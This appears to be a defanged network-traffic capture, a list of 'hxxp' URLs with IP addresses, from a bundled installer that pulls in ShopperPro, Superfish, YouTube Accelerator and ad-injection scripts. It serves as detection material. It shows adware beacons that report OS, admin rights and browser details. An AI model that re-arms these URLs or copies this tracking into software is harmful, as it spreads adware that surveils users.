hxxp://instshoppingateinfo.pricegongsoftwar.netdna-cdn.com/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Owsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=78116d2d-d3b5-4062-b3b8-b2539525da70&apptitle=ShopperPro&channel=IF2Owsmtycl
hxxp://1fq670-su78sj1t.netdna-ssl.com/app/t.ashx?uid=78116d2d-d3b5-4062-b3b8-b2539525da70&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy5lYXN5LWJ1cm5lci5jb20vZW4vc29mdHdhcmUvaW5zdGFsbC8/Y2FtcGFpZ249MTQ3NzYmZW1lPSZ0aW1lc3RhbXA9MTQyNDc0MzIzNTExNjk0OCZ0cmFja2VyPTIyMDAmdGs9Zjg2OGZkYzg2YWY2NDliZTc5ZTkxY2EwMDBhOTBiMTAmbXNvPTUmbXNzPTMmc2VkPTgmc3VpZD1GRDh2aWJOX1UmZG93bmxvYWRfY291bnRyeT1lbiZtcz01JnN0YXR1cz01Jm1zMj0wJnN0YXR1czI9MCZtczM9MCZzdGF0dXMzPTAmc21zPTAmaXRpbWU9MTQyNDc0MzM1NCZwcz0wJnBfc3RhdHVzPTE=&prd=ShopperPro&os=Win32&id=1424743399&aff=smtycl&ver=2.5.8305.1508&usid=2858020935-2156992550-3658131804	198.232.124.192
hxxp://1fq670-su78sj1t.netdna-ssl.com/app/t.ashx?uid=78116d2d-d3b5-4062-b3b8-b2539525da70&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy5lYXN5LWJ1cm5lci5jb20vZW4vc29mdHdhcmUvaW5zdGFsbC8/Y2FtcGFpZ249MTQ3NzYmZW1lPSZ0aW1lc3RhbXA9MTQyNDc0MzIzNTExNjk0OCZ0cmFja2VyPTIyMDAmdGs9Zjg2OGZkYzg2YWY2NDliZTc5ZTkxY2EwMDBhOTBiMTAmbXNvPTUmbXNzPTMmc2VkPTgmc3VpZD1GRDh2aWJOX1UmZG93bmxvYWRfY291bnRyeT1lbiZtcz01JnN0YXR1cz01Jm1zMj0wJnN0YXR1czI9MCZtczM9MCZzdGF0dXMzPTAmc21zPTAmaXRpbWU9MTQyNDc0MzM1NCZwcz0wJnBfc3RhdHVzPTE=&prd=ShopperPro&os=Win32&id=1424743399&aff=JSsmtycl&ver=2.5.8305.1508&usid=2858020935-2156992550-3658131804	198.232.124.192
hxxp://instshoppingateinfo.pricegongsoftwar.netdna-cdn.com/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2OwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=78116d2d-d3b5-4062-b3b8-b2539525da70&apptitle=ShopperPro&channel=iF2OwJSsmtycl
hxxp://shop.offerbox.com/eas?cu=23126;cre=img	178.33.88.163
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=iF2OwJSsmtycl&name=ShopperPro
hxxp://clients.l.google.com/ga.js
hxxp://shop.offerbox.com/eas?cu=5600;ty=pc	178.33.88.163
hxxp://app.easy-burner.com/css/contact.css	178.33.88.174
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=IF2Owsmtycl&name=ShopperPro
hxxp://app.easy-burner.com/images/pixel.gif	178.33.88.174
hxxp://shop.offerbox.com/eas?cu=25377&eme=WBrH3sO4	178.33.88.163
hxxp://clients.l.google.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1772117590&utmhn=www.easy-burner.com&utmcs=utf-8&utmsr=1716x901&utmvp=1189x539&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=-&utmdt=Easy-Burner&utmhid=209281727&utmr=-&utmp=//goal&utmht=1424743399965&utmac=UA-15433929-1&utmcc=__utma=106045591.350837813.1424743400.1424743400.1424743400.1;+__utmz=106045591.1424743400.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=67495650&utmredir=1&utmu=qACgAAAAAAAAAAAAAAAAAAAE~
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://shop.offerbox.com/pixel.gif	178.33.88.163
hxxp://pagead.l.doubleclick.net/pagead/conversion/990060061/?random=1424743400068&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1
hxxp://d13j8bqw-l8bu4n1j.netdna-ssl.com/gen/helper.js	198.232.125.3
hxxp://app.easy-burner.com/images/background.png	178.33.88.174
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/14567725608/preload.js?subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70	108.162.200.127
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://www.easy-burner.com&xdm_c=default9204&xdm_p=1	94.31.29.248
hxxp://app.easy-burner.com/images/orange-bar.png	178.33.88.174
hxxp://app.easy-burner.com/images/content-top-shadow.png	178.33.88.174
hxxp://fallback.global-ssl.fastly.net/static/r07/core201.js
hxxp://clients.l.google.com/r/__utm.gif?utmwv=5.6.3&utms=2&utmn=1732685760&utmhn=www.easy-burner.com&utmcs=utf-8&utmsr=1716x901&utmvp=1189x539&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=-&utmdt=Easy-Burner&utmhid=209281727&utmr=-&utmp=/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&utmht=1424743400165&utmac=A-12585577-60&utmcc=__utma=106045591.350837813.1424743400.1424743400.1424743400.1;+__utmz=106045591.1424743400.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1480552523&utmredir=1&utmmt=1&utmu=rACgAAAAAAAAAAAAAAAAAAAE~
hxxp://pagead.l.doubleclick.net/pagead/viewthroughconversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/Beat.js	94.31.29.248
hxxp://d2cnb4m0nke2lh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.192.202.221
hxxp://fallback.global-ssl.fastly.net/static/r07/widget/css/widget015.top.svg.css
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/layer.js?pid=14567725608&ln=en	108.162.200.127
hxxp://fallback.global-ssl.fastly.net/static/r07/sh200.html
hxxp://fallback.global-ssl.fastly.net/static/r07/menu174.js
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://e3821.dspe1.akamaiedge.net/en_US/all.js
hxxp://d.addelive.com/widget/render/hash/d7eae1b4fbd18fff98b3bddeaf9fae0f	66.216.109.248
hxxp://www.google.com/ads/conversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3598831848	173.194.113.212
hxxp://www.google.com.ua/ads/conversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3598831848&ipr=y	173.194.113.207
hxxp://1fq670-su78sj1t.netdna-ssl.com/api/geo?callback=Beat1110011063366548386677_1424743399819&_=1424743399820	198.232.124.192
hxxp://a.visadd.com/script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.840052310452982&sid=14567725608&terms=easy burner, easy, burner, successfully installed, powerful features!&keywords=easy burner, easy, burner, successfully installed, powerful features!&dm=easy-burner.com&charset=utf-8&ttl=Easy-Burner&adl=true&loc=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&dm=www.easy-burner.com&subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70&um=Powered by Shopper-Pro	198.27.120.88
hxxp://a1294.w20.akamai.net/b?c1=7&c2=2000001&c3=1&rn=1128bog&c7=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&c8=Easy-Burner&cv=1.7
hxxp://m.addthisedge.com/live/red_lojson/300lo.json?1wh6jn1&colc=1424743401891&si=54ebdbe8f5a295b8&uid=54ebdbe927fc2ac0&pub=easyburner&rev=18.0-edge&jsl=32&ln=en&pc=men&vpc=&dp=www.easy-burner.com&fp=en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&aa=0&of=0&uf=1&nt=cs;0,ce;0,dc;854,dclee;854,dcles;854,di;848,dl;798,dle;0,dls;0,fs;0,lee;u,les;854,ns;0,rs;38,rspe;800,rsps;798,scs;u&pd=0&irt=0&ct=1&tct=0&abt=0&lt=884&cdn=0&lnlc=US&whcs=1&tl=c=794,m=798,i=812,xm=1690,xp=1693&pi=1&&rb=0&gen=1000&gen=100&callback=_ate.track.hsr&uvs=54ebdbe876b9a3e4000&chr=utf-8&md=0&vcl=0
hxxp://a749.dsw4.akamai.net/connect/xd_arbiter/DU1Ia251o0y.js?version=41
hxxp://counter-817696455.us-east-1.elb.amazonaws.com/blank.gif?t=142907788007&h=d7eae1b4fbd18fff98b3bddeaf9fae0f&emp=1
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEApfEU0DWxeRF9Lv1AOMPzs=
hxxp://www.public-trust.com/cgi-bin/CRL/2018/cdp.crl	64.18.20.10
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5z1d608b6088622e62f620c9c0b7fb93fcz29565e39af99d2cfb75965a773e5c91ezfa7c8af5304a3392922f34e32b677892z8b5665de52de5e5df60a0af067dcb5dfze3a52fd8f8d85a0733e461f9a6fd8f2dzdc260d8ad19b7173f6ef991bdd048c10z8cac447463eac3b579e2296ec5e3e756&geo=UA	94.31.29.248
hxxp://superfish.com/ws/sf_preloader.jsp?dlsource=viktczu&userId=78116d2dd3b54062b3b8b2539525da70&partnername=ShopperPro&CTID=xUSIF2Owsmtycl&ver=2015.2.22.7.48
hxxp://a.visadd.com/internal/reporter?v=2&subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70&format=1&ai=990&ctxu=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&fb=false&cid=99&cbs=0.21905757394828568&sid=14567725608&terms=easy burner, easy, burner, successfully installed, powerful features!&keywords=easy burner, easy, burner, successfully installed, powerful features!&dm=easy-burner.com&charset=utf-8&ttl=Easy-Burner&loc=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&dm=www.easy-burner.com&subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70&um=Powered by Shopper-Pro	198.27.120.88
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTtSK3dy3sA4g6EKqm0CfGsMDTPlgQUUOpzidsp+xCPnuUBINTeeZlIg/cCEAJwu3i4ZpYdN6xM1SVvBys=
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnpGo=
hxxp://a1621.g.akamai.net/MFUwUzBRME8wTTAJBgUrDgMCGgUABBS856ddZAq5lE7vDJmoUDW1u98SMAQU3WyAfLq1MhelhEFA8NIEZhMvqZACFGozgiJkrf5JafrJHx/pwJ6+De+O
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0	208.43.69.149
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=
hxxp://cs1.wpc.v0cdn.net/pki/mscorp/crl/msitwww2.crl
hxxp://superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.22.7.48
hxxp://www.appshat.com/images/logo.jpg	78.138.127.8
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar	87.245.221.90
hxxp://install-cdn.sourceapp.info/sd?is=sm	87.245.221.113
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=PcwT4QFtuPClUB4b/muCJacisV0Kqo5teq10/GADmDBu89fJv3K/CWQ14on7GBy1f82ojUnVmk1jg4jhBREgIvCV4d3G7GmUPoZDv5/7A 4Cbsn9VEgrCDmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb 8hcchDZmzqx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2cp9ILLnJI8o5l6kGsLGUjlAO3ZfaMMISYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29Sngt7Zf/x9xXrK9YmsnJZ	54.197.238.106
hxxp://errors.ourinfoonlinestack.com/installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&procstarttime=1424743349&procruntime=4&rnd=1424743353	54.231.0.156
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb4wlu/UMeSmkf/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J31oG/bAbkDO0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdJ/lupoMJFd0NrbGxnyQjvNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5	54.230.202.140
hxxp://m.addthis.com/live/red_lojson/300lo.json?1wh6jn1&colc=1424743401891&si=54ebdbe8f5a295b8&uid=54ebdbe927fc2ac0&pub=easyburner&rev=18.0-edge&jsl=32&ln=en&pc=men&vpc=&dp=www.easy-burner.com&fp=en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&aa=0&of=0&uf=1&nt=cs;0,ce;0,dc;854,dclee;854,dcles;854,di;848,dl;798,dle;0,dls;0,fs;0,lee;u,les;854,ns;0,rs;38,rspe;800,rsps;798,scs;u&pd=0&irt=0&ct=1&tct=0&abt=0&lt=884&cdn=0&lnlc=US&whcs=1&tl=c=794,m=798,i=812,xm=1690,xp=1693&pi=1&&rb=0&gen=1000&gen=100&callback=_ate.track.hsr&uvs=54ebdbe876b9a3e4000&chr=utf-8&md=0&vcl=0	8.21.199.3
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1424743356	54.231.0.156
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=KC46TpkJIZzYLhsRuGeUaZ/TkbZ2czqAQSWJ1Zpu6n ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMhgKkdlz1lRob0AS4HDB5HfWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvW09lExZWgYt7vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9KujLQh7/WHkpq73FZdDH/8=	54.197.238.106
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1424743356	54.231.0.156
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQSUqlVEgP7Y8NnlqVy8N p9hhITel/a8ytwpiObEbgDu4Nh8c5r795BoH2Jp8LsKb&product=EXTFirefox&rnd=1424743305&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1	54.197.238.106
hxxp://www.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.22.7.48	66.70.34.111
hxxp://www.easy-burner.com/css/reseter.css	178.33.88.171
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCJ/TkbZ2czqAdMPCqZ 81A7c 6Z9uWa7kH0QpZ Jj0 v3D2calArHLtc1NGfCEK5Hv7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9TeRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhAH9x2JP35eH9jYXKPEn7E9qoqdLSvfaIv8pU7ch29iGLS92Fq5g8UGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VO6CT26NwNt2JrxF1AG2DerIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHRECc5dSqqUA=	54.197.238.106
hxxp://cdn.visadd.com/script/14567725608/preload.js?subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70	108.162.200.127
hxxp://cdn.visadd.com/script/layer.js?pid=14567725608&ln=en	108.162.200.127
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.15930903485743375	78.138.127.15
hxxp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1772117590&utmhn=www.easy-burner.com&utmcs=utf-8&utmsr=1716x901&utmvp=1189x539&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=-&utmdt=Easy-Burner&utmhid=209281727&utmr=-&utmp=//goal&utmht=1424743399965&utmac=UA-15433929-1&utmcc=__utma=106045591.350837813.1424743400.1424743400.1424743400.1;+__utmz=106045591.1424743400.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=67495650&utmredir=1&utmu=qACgAAAAAAAAAAAAAAAAAAAE~	173.194.113.194
hxxp://stats.ourinfoonlinestack.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_26&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&mdat=&procstarttime=1424743349&procruntime=3&rnd=1424743352	54.231.18.220
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=KC52kqqAunCf05G2dnM6gEElidWabup/qLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN 2QatdFhX0zIYCpHZc9ZUaG9AEuBwweR31o8H6qezB8RbcWSjP4xZHCHSnPFvNNypDj6H2BIqEzZsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBFPmyIOMSGLqvp2al3wif32RIeMued5S3OqQB4kK2USfmjZJUoJulJCjca/6c/zCZgGUqUYly4OA=	54.197.238.106
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=78116d2d-d3b5-4062-b3b8-b2539525da70&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy5lYXN5LWJ1cm5lci5jb20vZW4vc29mdHdhcmUvaW5zdGFsbC8/Y2FtcGFpZ249MTQ3NzYmZW1lPSZ0aW1lc3RhbXA9MTQyNDc0MzIzNTExNjk0OCZ0cmFja2VyPTIyMDAmdGs9Zjg2OGZkYzg2YWY2NDliZTc5ZTkxY2EwMDBhOTBiMTAmbXNvPTUmbXNzPTMmc2VkPTgmc3VpZD1GRDh2aWJOX1UmZG93bmxvYWRfY291bnRyeT1lbiZtcz01JnN0YXR1cz01Jm1zMj0wJnN0YXR1czI9MCZtczM9MCZzdGF0dXMzPTAmc21zPTAmaXRpbWU9MTQyNDc0MzM1NCZwcz0wJnBfc3RhdHVzPTE=&prd=ShopperPro&os=Win32&id=1424743399&aff=smtycl&ver=2.5.8305.1508&usid=2858020935-2156992550-3658131804	198.232.124.192
hxxp://www.appshat.com/js/scripts.js	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.11024174429759087	78.138.127.15
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=	93.184.220.29
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.042710851221484325	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1Xb8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekWAdmVShyM9BYTBiHIO2K3YaWG5orp2ppr3ctykbyRNv7PDEbG44Ov1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.202.140
